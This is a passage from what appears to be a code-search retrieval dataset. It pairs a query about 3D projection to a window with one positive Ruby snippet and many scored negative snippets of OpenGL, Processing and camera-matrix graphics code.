"text": "def show\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render :json => @scribbles }\n end \n end",
"title": ""
},
{
"docid": "22180ff143e31ff696cb17a5f9e67276",
"score": "0.5820294",
"text": "def show\n @interveniente = Interveniente.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @interveniente }\n end\n end",
"title": ""
}
] |
7c957ffbfb7f757e02b1a86e9b67918f
|
Does a handydandy 3d projection to the window
|
[
{
"docid": "93db7ab235df834804504895f21f2d18",
"score": "0.0",
"text": "def draw\n # Draw background\n self.draw_quad(0, 0, BG_COLOR,\n self.width, 0, BG_COLOR,\n self.width, self.height, BG_COLOR,\n 0, self.height, BG_COLOR)\n @objects.each { |obj| obj.draw(self, Gosu::Color::GREEN) }\n end",
"title": ""
}
] |
[
{
"docid": "40e69a117552ee35f4332ccc5ece91aa",
"score": "0.7093322",
"text": "def view3D; end",
"title": ""
},
{
"docid": "ec73e3a3ad2605e8daded541309579c4",
"score": "0.6970813",
"text": "def view_3D; end",
"title": ""
},
{
"docid": "de91e8dbb03c20589e33bd96ea4ae1d9",
"score": "0.68180937",
"text": "def update_projection\n Renderer.instance.projection_matrix = Matrix4.ortho 0.0, w / scale, h / scale, 0.0, -1.0, 1.0\n end",
"title": ""
},
{
"docid": "4e5fe38209ca11abc422aab57afaf36f",
"score": "0.6490251",
"text": "def draw(window, c)\n # Project dat, probs a better way to do this\n v = coords.inject([]) do |a, v|\n a << LinearAlgebra.projection3D(\n v[1], # v is a [key,value]\n window.camera.world_location,\n window.camera.orientation,\n window.camera.focal_length)\n a # idk why this is needed but it is\n end\n @logger.debug \"Projected coords are: #{v.inspect}\"\n window.draw_quad(\n v[0].to_window_coords(window).x, v[0].to_window_coords(window).y, OBJ_COLOR,\n v[1].to_window_coords(window).x, v[1].to_window_coords(window).y, OBJ_COLOR,\n v[2].to_window_coords(window).x, v[2].to_window_coords(window).y, OBJ_COLOR,\n v[3].to_window_coords(window).x, v[3].to_window_coords(window).y, OBJ_COLOR)\n end",
"title": ""
},
{
"docid": "6348eafe33804dbd8b3dd0923a3ebf8c",
"score": "0.6383933",
"text": "def setup\n size 640, 360, P3D\n fill 204\nend",
"title": ""
},
{
"docid": "3899936ce675692fec3d7c34de2665ae",
"score": "0.6307097",
"text": "def setup \n size 640, 360, P3D \n background 0\n lights \n no_stroke\n push_matrix \n translate 130, height/2, 0\n rotate_y 1.25\n rotate_x -0.4 \n box 100 \n pop_matrix \n no_fill\n stroke 255\n push_matrix \n translate 500, height*0.35, -200\n sphere 280 \n pop_matrix \nend",
"title": ""
},
{
"docid": "7df73451656674ca0a14147a17937db2",
"score": "0.62039316",
"text": "def unproject(x,y,z)\n model = glGetDoublev(GL_MODELVIEW_MATRIX)\n proj = glGetDoublev(GL_PROJECTION_MATRIX)\n viewport = glGetIntegerv(GL_VIEWPORT);\n\n gluUnProject(x, viewport[3]-y, z, model, proj, viewport)\n end",
"title": ""
},
{
"docid": "bd51c030dd58cb31842f3a69185dec5a",
"score": "0.616294",
"text": "def project(what)\n\t\twhat.translate(-@pos).rotate(angle_to_norm).clip_z(-@clip_dist).project_z(-@screen_dist)\n\tend",
"title": ""
},
{
"docid": "5caca27ec1f4b7d7b2a94c747c79c005",
"score": "0.6136159",
"text": "def orthoProjection\n glMatrixMode(GL_PROJECTION)\n glPushMatrix()\n\n glLoadIdentity()\n\n gluOrtho2D(0, WIN_WIDTH, WIN_HEIGHT, 0) # Reverse Y so 0 is at the top\n\n glMatrixMode(GL_MODELVIEW)\n\n glPushMatrix()\n glLoadIdentity()\nend",
"title": ""
},
{
"docid": "74030b447acfb5623be44b2c7d7a1329",
"score": "0.61211294",
"text": "def promote_to_3d(name: nil)\r\n ptr = Api.proj_crs_promote_to_3D(self.context, name, self)\r\n\r\n if ptr.null?\r\n Error.check_object(self)\r\n end\r\n\r\n self.class.create_object(ptr, context)\r\n end",
"title": ""
},
{
"docid": "889fc9e1c7e3590881e00b736fe609a1",
"score": "0.6087983",
"text": "def project_z(screen_z)\n\t\treturn if @z == 0.0\n\t\tr = screen_z/@z\n\t\tPoint3D.new(r*@x, r*@y, screen_z)\n\tend",
"title": ""
},
{
"docid": "97679917ef088523c81aa81afab8b8a6",
"score": "0.60660625",
"text": "def update\n @top_left_corner = @top.x_projection(@leftp)\n @top_right_corner = @top.x_projection(@rightp)\n @bottom_left_corner = @bottom.x_projection(@leftp)\n @bottom_right_corner = @bottom.x_projection(@rightp) \n @center = calculate_center \n end",
"title": ""
},
{
"docid": "7e6f79cc6434d5f56ae0b76fd8767a02",
"score": "0.5984059",
"text": "def view3D=(v); end",
"title": ""
},
{
"docid": "a6097e3e84b9fb322d0c9c128412802c",
"score": "0.59381527",
"text": "def reshape(w, h)\n\t\tGL.Viewport(0, 0, w, h)\n\t\tGL.MatrixMode(GL::PROJECTION)\n\t\tGL.LoadIdentity()\n\t\tGL.Ortho(-($WIDTH*2.0), $WIDTH*2.0, -($HEIGHT*2.0), $HEIGHT*2.0, -($DEPTH*2.0), $DEPTH*2.0)\n\t\tGL.MatrixMode(GL::MODELVIEW)\n\t\tGL.LoadIdentity()\n\t\tGL.Rotate(30, 5.0, 1.0, 1.0)\n\t\t#GLU.LookAt(0.0, 10.0, 0.0, 0.0, 0.0, 0.0, 0.0, 1.0, 0.0)\n\tend",
"title": ""
},
{
"docid": "0029fd559287d152797c5e6156c6a54c",
"score": "0.59068173",
"text": "def projected_3d(name: nil, geog_3d_crs: nil)\r\n ptr = Api.proj_crs_create_projected_3D_crs_from_2D(self.context, name, self, geog_3d_crs)\r\n\r\n if ptr.null?\r\n Error.check_object(self)\r\n end\r\n\r\n self.class.create_object(ptr, context)\r\n end",
"title": ""
},
{
"docid": "68beab98145b8b5ecbdbf196f438d727",
"score": "0.59058654",
"text": "def reshape(w, h)\n\t\tGL.Viewport(0, 0, w, h)\n\t\tGL.MatrixMode(GL::PROJECTION)\n\t\tGL.LoadIdentity()\n\t\tGL.Ortho(-$WIDTH, $WIDTH, -$HEIGHT, $HEIGHT, -1.0, 1.0)\n\t\tGL.MatrixMode(GL::MODELVIEW)\n\t\t\n\t\t#GLU.LookAt(-5.0, -5.0, -10.0, 10.0, 0.0, 0.0, 0.0, 1.0, 0.0)\n\t\t\n\tend",
"title": ""
},
{
"docid": "4a7c3162d4a1704487390f4535f9357c",
"score": "0.58950806",
"text": "def view_3D=(v); end",
"title": ""
},
{
"docid": "9605a8a3b77f1fbd722d72243aee8aa0",
"score": "0.5875227",
"text": "def drawScene\n\t# clear information from last draw\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\t\n\tglMatrixMode(GL_MODELVIEW) # Switch to the drawing perspective\n\tglLoadIdentity() # reset the drawing perspective\n\t\n\tglBegin(GL_QUADS) # Begin quadrilateral coordinates\n\t\n\t# Trapezoid\n\tglVertex3f(-0.7, -1.5, -5.0)\n\tglVertex3f(0.7, -1.5, -5.0)\n\tglVertex3f(0.4, -0.5, -5.0)\n\tglVertex3f(-0.4, -0.5, -5.0)\n\t\n\tglEnd() # End quadrilateral coordinates\n\t\n\tglBegin(GL_TRIANGLES) # Begin triangle coordinates\n\t\n\t# Pentagon\n\tglVertex3f(0.5, 0.5, -5.0)\n\tglVertex3f(1.5, 0.5, -5.0)\n\tglVertex3f(0.5, 1.0, -5.0)\n\t\n\tglVertex3f(0.5, 1.0, -5.0)\n\tglVertex3f(1.5, 0.5, -5.0)\n\tglVertex3f(1.5, 1.0, -5.0)\n\t\n\tglVertex3f(0.5, 1.0, -5.0)\n\tglVertex3f(1.5, 1.0, -5.0)\n\tglVertex3f(1.0, 1.5, -5.0)\n\t\n\t# triangle\n\tglVertex3f(-0.5, 0.5, -5.0)\n\tglVertex3f(-1.0, 1.5, -5.0)\n\tglVertex3f(-1.5, 0.5, -5.0)\n\t\n\tglEnd() # End triangle coordinates\n\t\n\tglutSwapBuffers() # Send the 3D scene to the screen\nend",
"title": ""
},
{
"docid": "bef17bfbf212c46da5875122bc7251df",
"score": "0.5767616",
"text": "def screen_coords(point3d)\n end",
"title": ""
},
{
"docid": "e79748965c7e8584c39e4948de6e7dbe",
"score": "0.576574",
"text": "def set\n GL.MatrixMode(GL::PROJECTION)\n GL.LoadIdentity\n GLU.Ortho2D(0, @w, 0, @h)\n GL.Translate(@kx, @ky, 0)\n GL.Rotate(@angle, 0,0,1)\n GL.Scale(@scale, @scale, 1)\n GL.Translate([email protected], [email protected], 0)\n GL.MatrixMode(GL::MODELVIEW)\n end",
"title": ""
},
{
"docid": "3fbbf1aa4d361e342a0756f3e34d86c8",
"score": "0.57434034",
"text": "def redraw\n angle = Camera.angle * (Math::PI / 180)\n half_width = Window.width * 0.5\n half_height = Window.height * 0.5\n @x1 = (((x + x1 - Camera.x) * Math.cos(angle)) - ((y + y1 - Camera.y) * Math.sin(angle))) * Camera.zoom + half_width\n @y1 = (((x + x1 - Camera.x) * Math.sin(angle)) + ((y + y1 - Camera.y) * Math.cos(angle))) * Camera.zoom + half_height\n @x2 = (((x + x2 - Camera.x) * Math.cos(angle)) - ((y + y2 - Camera.y) * Math.sin(angle))) * Camera.zoom + half_width\n @y2 = (((x + x2 - Camera.x) * Math.sin(angle)) + ((y + y2 - Camera.y) * Math.cos(angle))) * Camera.zoom + half_height\n @x3 = (((x + x3 - Camera.x) * Math.cos(angle)) - ((y + y3 - Camera.y) * Math.sin(angle))) * Camera.zoom + half_width\n @y3 = (((x + x3 - Camera.x) * Math.sin(angle)) + ((y + y3 - Camera.y) * Math.cos(angle))) * Camera.zoom + half_height\n @x4 = (((x + x4 - Camera.x) * Math.cos(angle)) - ((y + y4 - Camera.y) * Math.sin(angle))) * Camera.zoom + half_width\n @y4 = (((x + x4 - Camera.x) * Math.sin(angle)) + ((y + y4 - Camera.y) * Math.cos(angle))) * Camera.zoom + half_height\n end",
"title": ""
},
{
"docid": "a9685ff76cf0f09ecc26a3b43a1152ba",
"score": "0.5661229",
"text": "def setup\n \n size 640, 360, P3D\n \n @spin = 0.0\n \n no_stroke\n \nend",
"title": ""
},
{
"docid": "10ccd8faa9d182fedb7e3573835f677e",
"score": "0.56565773",
"text": "def set_texture_projection(vector, frontside)\n end",
"title": ""
},
{
"docid": "4a8c7b47d19dcce0bd953da4624c7cf9",
"score": "0.56320107",
"text": "def drawScene()\n GL::MatrixMode(GL::PROJECTION);\n GL::LoadIdentity();\n GLU::Perspective(40.0, 4.0/3.0, 1.0, 100.0);\n\n GL::MatrixMode(GL::MODELVIEW);\n GL::LoadIdentity();\n GLU::LookAt(7.5, 7.5, 12.5, 2.5, 2.5, -5.0, 0.0, 1.0, 0.0);\n GL::Color(0.0, 1.0, 0.0);#\t/* green triangle\t*/\n drawTriangle(2.0, 2.0, 3.0, 2.0, 2.5, 3.0, -5.0);\n GL::Color(1.0, 0.0, 0.0);#\t/* red triangle\t*/\n drawTriangle(2.0, 7.0, 3.0, 7.0, 2.5, 8.0, -5.0);\n GL::Color(1.0, 1.0, 0.0);#\t/* yellow triangles\t*/\n drawTriangle(2.0, 2.0, 3.0, 2.0, 2.5, 3.0, 0.0);\n drawTriangle(2.0, 2.0, 3.0, 2.0, 2.5, 3.0, -10.0);\n drawViewVolume(0.0, 5.0, 0.0, 5.0, 0.0, 10.0);\nend",
"title": ""
},
{
"docid": "eb96ae82c2cc7fcada609a9e15362af2",
"score": "0.5598543",
"text": "def create_perspective(width, height, near, far)\n end",
"title": ""
},
{
"docid": "8b27e599f33c26924b29ea59a916cbff",
"score": "0.55965745",
"text": "def setup\n size 200, 200\t \n @zoog_x, @zoog_y = width / 2, height + 100\n smooth 4\nend",
"title": ""
},
{
"docid": "f75b4c3641e181cf9103cd84137b5fc0",
"score": "0.5592876",
"text": "def setup_opengl\n GL11.gl_matrix_mode(GL11::GL_PROJECTION)\n GL11.gl_load_identity\n GL11.gl_ortho(0, DISPLAY_X, DISPLAY_Y, 0, 1, -1)\n GL11.gl_matrix_mode(GL11::GL_MODELVIEW)\n end",
"title": ""
},
{
"docid": "824cc1428e25bb886b22dd3a5bdedb53",
"score": "0.55683905",
"text": "def reshape_soko(width, height)\n\n h = height.to_f / width.to_f\n glViewport(0, 0, width, height)\n glMatrixMode(GL_PROJECTION)\n glLoadIdentity()\n glFrustum(-1.0, 1.0, -h, h, 1.5, 20.0)\n glMatrixMode(GL_MODELVIEW)\n glLoadIdentity()\n\n gluLookAt 10.0, 10.0, 17.5, 10.0, 10.0, 0.0, 0.0, 1.0, 0.0\n #glTranslatef(0.0, 0.0, -40.0)\n #\n glutPostRedisplay\n end",
"title": ""
},
{
"docid": "149b9d5e52ded8a6f4eef4636d8b1eed",
"score": "0.5524734",
"text": "def perspective; end",
"title": ""
},
{
"docid": "01efb14a9a8382775609031f0c1ec906",
"score": "0.55238783",
"text": "def rur_outdegrees_image_3d(eye=@k, &block)\n base_n_k(\"rur2_outdegrees_3d\",eye, true, &block)\n end",
"title": ""
},
{
"docid": "117a85ca8869a9cd6a28c8dd39095c2f",
"score": "0.55209297",
"text": "def render_cube args, x, y,\n grid_x = \n grid_y = 0\n boxsize = 30\n args.outputs.solids << [ grid_x + (x * boxsize), (720 - grid_y) - (y * boxsize), 255 ,0, 0, 255 ]\nend",
"title": ""
},
{
"docid": "32f6d8c80bedfd75df63a8cc2c497613",
"score": "0.5507264",
"text": "def setup(args)\n # Scene :\n cube_sprites = make_cube(18)\n\n args.state.cube = Engine3D::Body.new cube_sprites\n args.state.cube.move_to 0.0, 0.0, -75.0\n\n args.state.scene = Engine3D::Scene.new\n args.state.scene << args.state.cube\n\n\n # Camera\n args.state.camera = Engine3D::Camera.new 0.0, 0.0, 0.0, # position\n 0.0, 0.0,-1.0, # forward\n 0.0, 1.0, 0.0 # up\n \n\n # Renderer :\n args.state.renderer = Engine3D::Renderer.new args,\n 1280, 720, # viewport size\n 1.0, 300.0, # near and far plans\n args.state.scene.sprite_count,\n ['data/sprites/spheres_all.png']\n\n\n # Miscellenaous :\n args.state.cube_rotation_speed = 0.03\n args.state.camera_rotation_speed = 0.01\n args.state.camera_translation_speed = 0.3\n\n args.state.setup_done = true\n puts \"Setup done!!!\"\nend",
"title": ""
},
{
"docid": "ec73b00d87466589da04a3775b38330d",
"score": "0.5495415",
"text": "def init\n # Clear and set background color, RGBA\n glClearColor(1.0, 0.0, 0.0, 1)\n\n # Which matrix is the current matrix:\n # GL_MODELVIEW GL_PROJECTION GL_TEXTURE GL_COLOR\n glMatrixMode(GL_PROJECTION)\n\n # Replace current matrix with identity matrix\n glLoadIdentity()\n\n # Multiply current matrix (now the identity matrix) with\n # an orthographic matrix\n # Left, right, bottom, top, nearVal, farVal\n glOrtho(0.0, 1.0, 0.0, 1.0, -1.0, 1.0)\nend",
"title": ""
},
{
"docid": "9b0dcaa01429f94ca649e0212cdeb2e3",
"score": "0.5490879",
"text": "def update_matricies!\n # camera space is defined with three matricies\n # every entity is:\n # - offset by the location of the camera\n # - scaled\n # - then centered on the screen\n state.to_camera_space_matrix = MatrixFunctions.mul(mat3_translate(state.camera.x, state.camera.y),\n mat3_scale(state.camera.zoom),\n mat3_translate(640, 360))\n\n # world space is defined based off the camera matricies but inverted:\n # every entity is:\n # - uncentered from the screen\n # - unscaled\n # - offset by the location of the camera in the opposite direction\n state.to_world_space_matrix = MatrixFunctions.mul(mat3_translate(-640, -360),\n mat3_scale(1.0 / state.camera.zoom),\n mat3_translate(-state.camera.x, -state.camera.y))\n\n # the viewport is computed by taking the screen rect and moving it into world space.\n # what entities get rendered is based off of the viewport\n state.viewport = rect_mul_matrix(state.screen_rect, state.to_world_space_matrix)\n end",
"title": ""
},
{
"docid": "08c39ddbf4aaf1c44413f33f41f2fa14",
"score": "0.5444093",
"text": "def setup\n size 640, 360, P3D\n @img = load_image 'berlin-1.jpg'\n no_stroke\nend",
"title": ""
},
{
"docid": "d662e2d970b73db72c94b24f794b61b5",
"score": "0.54386884",
"text": "def reshape(width, height)\r\n h = height.to_f / width.to_f\r\n GL.Viewport(0, 0, width, height)\r\n GL.MatrixMode(GL::PROJECTION)\r\n GL.LoadIdentity()\r\n GL.Frustum(-1.0, 1.0, -h, h, 5.0, 60.0)\r\n #GLU.Perspective(@fov, h, 0.1, 1024.0)\r\n GL.MatrixMode(GL::MODELVIEW)\r\n GL.LoadIdentity()\r\n end",
"title": ""
},
{
"docid": "79860d6d88cac0eaad01ad7722e98974",
"score": "0.5432978",
"text": "def convert_3d_to_2d(v,anaglyph_flag = 0)\n v.x = (v.x * (PerspectiveDepth + v.z))/PerspectiveDepth\n v.x += v.z * anaglyph_flag * AnaglyphScale if anaglyph_flag\n v.y = (v.y * (PerspectiveDepth + v.z))/PerspectiveDepth\n end",
"title": ""
},
{
"docid": "19f8180fdf462841a0af4aa921d55365",
"score": "0.54090804",
"text": "def drawScene\n\t# clear information from last draw\n\tglClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT)\n\t\n\tglMatrixMode(GL_MODELVIEW) # Switch to the drawing perspective\n\tglLoadIdentity() # reset the drawing perspective\n\tglRotatef(-@cameraAngle, 0.0, 1.0, 0.0)\n\tglTranslatef(0.0, 0.0, -5.0)\n\t\n\tglPushMatrix()\n\tglTranslatef(0.0, -1.0, 0.0)\n\tglRotatef(@angle, 0.0, 0.0, 1.0)\n\t\n\tglBegin(GL_QUADS) # Begin quadrilateral coordinates\n\t\n\t# Trapezoid\n\tglColor3f(0.5, 0.0, 0.8)\n\tglVertex3f(-0.7, -0.5, 0.0)\n\tglColor3f(0.0, 0.9, 0.0)\n\tglVertex3f(0.7, -0.5, 0.0)\n\tglColor3f(1.0, 0.0, 0.0)\n\tglVertex3f(0.4, 0.5, 0.0)\n\tglColor3f(0.0, 0.65, 0.65)\n\tglVertex3f(-0.4, 0.5, 0.0)\n\t\n\tglEnd() # End quadrilateral coordinates\n\tglPopMatrix()\n\t\n\tglPushMatrix()\n\tglTranslatef(1.0, 1.0, 0.0)\n\tglRotatef(@angle, 0.0, 1.0, 0.0)\n\tglScalef(0.7, 0.7, 0.7)\n\t\n\tglBegin(GL_TRIANGLES) # Begin triangle coordinates\n\tglColor3f(0.0, 0.75, 0.0)\n\t\n\t# Pentagon\n\tglVertex3f(-0.5, -0.5, 0.0)\n\tglVertex3f(0.5, -0.5, 0.0)\n\tglVertex3f(-0.5, 0.0, 0.0)\n\t\n\tglVertex3f(-0.5, 0.0, 0.0)\n\tglVertex3f(0.5, -0.5, 0.0)\n\tglVertex3f(0.5, 0.0, 0.0)\n\t\n\tglVertex3f(-0.5, 0.0, 0.0)\n\tglVertex3f(0.5, 0.0, 0.0)\n\tglVertex3f(0.0, 0.5, 0.0)\n\t\n\tglEnd()\n\tglPopMatrix()\n\t\n\tglTranslatef(-1.0, 1.0, 0.0)\n\tglRotate(@angle, 1.0, 2.0, 3.0)\n\tglBegin(GL_TRIANGLES)\n\t\n\t# triangle\n\tglColor3f(1.0, 0.7, 0.0)\n\tglVertex3f(0.5, -0.5, 0.0)\n\tglColor3f(1.0, 1.0, 1.0)\n\tglVertex3f(0.0, 0.5, 0.0)\n\tglColor3f(0.0, 1.0, 1.0)\n\tglVertex3f(-0.5, -0.5, 0.0)\n\t\n\tglEnd() # End triangle coordinates\n\t\n\tglutSwapBuffers() # Send the 3D scene to the screen\nend",
"title": ""
},
{
"docid": "913abad2e164360a7b98f4a7031dc13e",
"score": "0.540692",
"text": "def reshape(width, height)\r\n @screen_width = width\r\n @screen_height = height\r\n h = height.to_f / width.to_f\r\n GL.Viewport(0, 0, width, height)\r\n GL.MatrixMode(GL::PROJECTION)\r\n GL.LoadIdentity()\r\n GL.Frustum(-1.0, 1.0, -h, h, 1.5, 60.0)\r\n #GLU.Perspective(@fov, h, 0.1, 60.0)\r\n GL.MatrixMode(GL::MODELVIEW)\r\n GL.LoadIdentity()\r\n end",
"title": ""
},
{
"docid": "65c9133948cb493f33b1833e95f53e49",
"score": "0.5397657",
"text": "def get_texture_projection(frontside)\n end",
"title": ""
},
{
"docid": "d82a770bcbcc441b99fe72331721f2f4",
"score": "0.5383875",
"text": "def reshape width, height\n height = 1 if height == 0\n\n # Reset current viewpoint and perspective transformation\n glViewport 0, 0, width, height\n\n glMatrixMode GL_PROJECTION\n glLoadIdentity\n\n gluPerspective 45.0, width / height, 0.1, 100.0\nend",
"title": ""
},
{
"docid": "7aa97e478f117262b34a9533d7a8d1e8",
"score": "0.53555906",
"text": "def display\n\t\tGL.Clear(GL::COLOR_BUFFER_BIT);\n\t\t\n\t\t#GLU.LookAt($x, $y, $z, 10.0, 0.0, 0.0, 0.0, 1.0, 0.0)\n\t\t\n\t\tfor i in 0...$HEIGHT\n\t\t\tfor j in 0...$WIDTH\n\t\t\t\tfor k in 0...$DEPTH\n\t\t\t\t\tparticle = $GRID[i][j][k]\n\t\t\t\t\t\n\t\t\t\t\tnext unless particle\n\t\t\t\t\t\n\t\t\t\t\tpos_x = (i - $HEIGHT/2) * 2.0\n\t\t\t\t\tpos_y = (j - $WIDTH/2) * 2.0\n\t\t\t\t\tpos_z = (k - $DEPTH/2) * 2.0\n\t\t\t\t\tGL::PushMatrix()\n\t\t\t\t\tGL::Translate(pos_x, pos_y, pos_z)\n\t\t\t\t\t\n\t\t\t\t\tif particle.element == :vapor\n\t\t\t\t\t\t\tGL::Material(GL::FRONT, GL::AMBIENT, $vapor_color);\n\t\t\t\t\t\t\tGL::Material(GL::FRONT, GL::SHININESS, [0.2]);\n\t\t\t\t\telse\n\t\t\t\t\t\t\tGL::Translate(pos_x, pos_y, pos_z);\n\t\t\t\t\t\t\tGL::Material(GL::FRONT, GL::AMBIENT, $ice_color);\n\t\t\t\t\t\t\tGL::Material(GL::FRONT, GL::SHININESS,[0.2]);\n\t\t\t\t\t\t\tGL::Material(GL::FRONT, GL::EMISSION, $no_mat);\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tGLUT::SolidCube(2);\n\t\t\t\t\tGL::PopMatrix();\n\t\t\t\tend\n\t\t\t\t\n\t\t\tend\n\t\tend\n\t\t\n\t\tGLUT.PostRedisplay\n\t\tGLUT.SwapBuffers\n\t\tGL.Flush\n\tend",
"title": ""
},
{
"docid": "98d6d9675163de527cfb08acb34a4e34",
"score": "0.53538436",
"text": "def to_p\n Point3d.new @x, @y, @z\n end",
"title": ""
},
{
"docid": "099efd37e5664fddf571aee6128d87c8",
"score": "0.5330952",
"text": "def render\n glMatrixMode(GL_MODELVIEW)\n glLoadIdentity\n\n # Camera\n # todo: gluLookAt() is more appropriate\n glTranslatef(@position.x, @position.y, @position.z)\n end",
"title": ""
},
{
"docid": "c0688392cdd6c2a6de31a0bf2249f5d4",
"score": "0.53288966",
"text": "def run\r\n @world.set_origin @mid_x, @mid_y, @mid_z\r\n sphere @world, 63, DataValues::GLASS.id\r\nend",
"title": ""
},
{
"docid": "070879fb4f1d988c35d2335f3aa86dac",
"score": "0.5307785",
"text": "def equatorial_to_horizon\n cs_phi = cs(@z)\n sn_phi = sn(@z)\n cs_dec = cs(@x)\n sn_dec = sn(@x)\n cs_tau = cs(@y)\n x = cs_dec * sn_phi * cs_tau - sn_dec * cs_phi\n y = cs_dec * sn(@y)\n z = cs_dec * cs_phi * cs_tau + sn_dec * sn_phi\n pt = Suntrack::Point3D.new(x,y,z)\n pt.cartesian_to_polar!\n pt\n end",
"title": ""
},
{
"docid": "549552b16141d94c5ec007558c2d9d36",
"score": "0.52988726",
"text": "def create_perspective_off_center(left, right, bottom, top, near, far)\n end",
"title": ""
},
{
"docid": "e8f7db345c9a7b478abd8dc039da1d0a",
"score": "0.52955645",
"text": "def setup\n \n size 640, 360, P3D\n \n @concentration = 600 # try values between 1 <-> 10_000\n \n no_stroke\n fill 204\n smooth(8)\n sphere_detail 60\n \nend",
"title": ""
},
{
"docid": "a5c0011a71cef0bc690a02288fdf9cb0",
"score": "0.52934235",
"text": "def plot_surface; end",
"title": ""
},
{
"docid": "a14787e847bb8f23735353486804d877",
"score": "0.52822393",
"text": "def plot_wireframe; end",
"title": ""
},
{
"docid": "84e0473042351502a04d506dcc2a6406",
"score": "0.52678883",
"text": "def perspective_projection coords\n scaleFactor = @focal_length / coords[2]\n return [\n coords[0] * scaleFactor,\n coords[1] * scaleFactor\n ]\n end",
"title": ""
},
{
"docid": "3a2cd6f909d7fe028a8f2c7ccc126c59",
"score": "0.52409667",
"text": "def projection \r\n\t\ty = @height\r\n\t\tbatas = @height\r\n\t\tprint \"y\"\r\n\t\twhile y >= 0\r\n\t\t \tx = 0\r\n\t\t \tprint \"| \" if y< @height\r\n\t\t\twhile x < batas\r\n\t\t\tprint \"#{@projection[x][y]} \"\r\n\t\t\t\tx+=1\r\n\t\t\tend\r\n\t\t\tputs \"\"\r\n\t\t\ty-=1\r\n\t\tend\r\n\t\tputs \"0-\" + \"=-\" * batas + \"x\"\r\n\r\n\t\tnil\r\n\tend",
"title": ""
},
{
"docid": "c07dfbf6a423e07337ff233fe553c188",
"score": "0.5239643",
"text": "def set_projection\n @projection = Projection::Projection.includes(:projection_by_stats).find(params[:projection_id])\n end",
"title": ""
},
{
"docid": "5210c46a4db4243024027a20b22e02e7",
"score": "0.52379954",
"text": "def reshape(width, height)\r\n h = height.to_f / width.to_f\r\n GL.Viewport(0, 0, width, height)\r\n GL.MatrixMode(GL::PROJECTION)\r\n GL.LoadIdentity()\r\n GL.Frustum(-1.0, 1.0, -h, h, 5.0, 60.0)\r\n GL.MatrixMode(GL::MODELVIEW)\r\n GL.LoadIdentity()\r\n GL.Translate(0.0, 0.0, -40.0)\r\n end",
"title": ""
},
{
"docid": "02c737df8886f7d7f7e6f8e2b7a5b680",
"score": "0.52233595",
"text": "def project(points:)\n\t\t# Check if points is a matrix or a vector that has a row dimension of 3\n\t\tif (points.class != Matrix && points.class != Vector) || \n\t\t\t(points.class == Matrix && points.row_size != 3) ||\n\t\t\t(points.class == Vector && points.size != 3)then\n\t\t\treturn false\n\t\tend\n\n\t\t# Covert the r and t values into radians\n\t\tif @degrees then \n\t\t\tr = degToRads(@r)\n\t\t\tt = degToRads(@t)\n\t\telse\n\t\t\tr = @r\n\t\t\tt = @t\n\t\tend\n\n\t\t# Transformation Matrix\n\t\ttransform = ProjectionMatrix.project3d2d(r,t)\n\n\t\treturn transform * points\n\tend",
"title": ""
},
{
"docid": "805f2c00a472e4788d43d61f31010294",
"score": "0.5219755",
"text": "def initalize3d(desviacion, cantidad, xpos, ypos, zpos, yd)\n @matrix = Array.new\n cantidad.times do\n @matrix.push([xpos + 2 * desviacion * rand - desviacion, ypos + 2 * desviacion * rand - desviacion, zpos + 2 * desviacion * rand - desviacion, yd])\n end\n end",
"title": ""
},
{
"docid": "721bbd987bb7769c9ae6a763da3e95f0",
"score": "0.5212404",
"text": "def p3d(r, m, s)\n\n (Math.sqrt(2.0/Math::PI)*r/(2*m*s))*(Math.exp(-1 * (m-r)**2/(2*s**2)) - Math.exp( -1 * (m+r)**2/(2*s**2)))\n\n end",
"title": ""
},
{
"docid": "ed83ff8ddf4f89b09d710135f578d776",
"score": "0.52077496",
"text": "def projection; end",
"title": ""
},
{
"docid": "ea332f3934cb7b62b72a91b13e835afc",
"score": "0.5200386",
"text": "def set_projection_of_power_requirement3\n @projection_of_power_requirement3 = ProjectionOfPowerRequirement3.find(params[:id])\n end",
"title": ""
},
{
"docid": "547c6cce1ac9b1a6dc11642e79eb01c5",
"score": "0.51833826",
"text": "def viewport_world camera\n to_world_space camera, viewport\n end",
"title": ""
},
{
"docid": "547c6cce1ac9b1a6dc11642e79eb01c5",
"score": "0.51833826",
"text": "def viewport_world camera\n to_world_space camera, viewport\n end",
"title": ""
},
{
"docid": "23dbc64946d83e8610503e78b1cff1a3",
"score": "0.5175651",
"text": "def world_to_screen(cube)\n Raylib.GetWorldToScreen cube, self\n end",
"title": ""
},
{
"docid": "24581835618ba3c95c17d411ceaed09d",
"score": "0.51714003",
"text": "def rect_plot coordinate\n return perspective_projection( physical_projection( coordinate ))\n end",
"title": ""
},
{
"docid": "7d568bfad2ba66eb783524c452c8e964",
"score": "0.5156099",
"text": "def handleResize w, h\n\t# Tell OpenGL how to convert from coordinates pixel values\n\tglViewport(0, 0, w, h)\n\t\n\tglMatrixMode(GL_PROJECTION) # Switch to setting the camera perspective\n\t\n\t# Set the camera perspective\n\tglLoadIdentity() # Reset the camera\n\tgluPerspective(45.0, # the camera angle\n\t\t\t\t\tw/ h,\n\t\t\t\t\t1.0,\n\t\t\t\t\t200.0)\nend",
"title": ""
},
{
"docid": "7d568bfad2ba66eb783524c452c8e964",
"score": "0.5156099",
"text": "def handleResize w, h\n\t# Tell OpenGL how to convert from coordinates pixel values\n\tglViewport(0, 0, w, h)\n\t\n\tglMatrixMode(GL_PROJECTION) # Switch to setting the camera perspective\n\t\n\t# Set the camera perspective\n\tglLoadIdentity() # Reset the camera\n\tgluPerspective(45.0, # the camera angle\n\t\t\t\t\tw/ h,\n\t\t\t\t\t1.0,\n\t\t\t\t\t200.0)\nend",
"title": ""
},
{
"docid": "7d568bfad2ba66eb783524c452c8e964",
"score": "0.5156099",
"text": "def handleResize w, h\n\t# Tell OpenGL how to convert from coordinates pixel values\n\tglViewport(0, 0, w, h)\n\t\n\tglMatrixMode(GL_PROJECTION) # Switch to setting the camera perspective\n\t\n\t# Set the camera perspective\n\tglLoadIdentity() # Reset the camera\n\tgluPerspective(45.0, # the camera angle\n\t\t\t\t\tw/ h,\n\t\t\t\t\t1.0,\n\t\t\t\t\t200.0)\nend",
"title": ""
},
{
"docid": "27155ee7dbe5fe2de83dff17ea2ca6a6",
"score": "0.51437837",
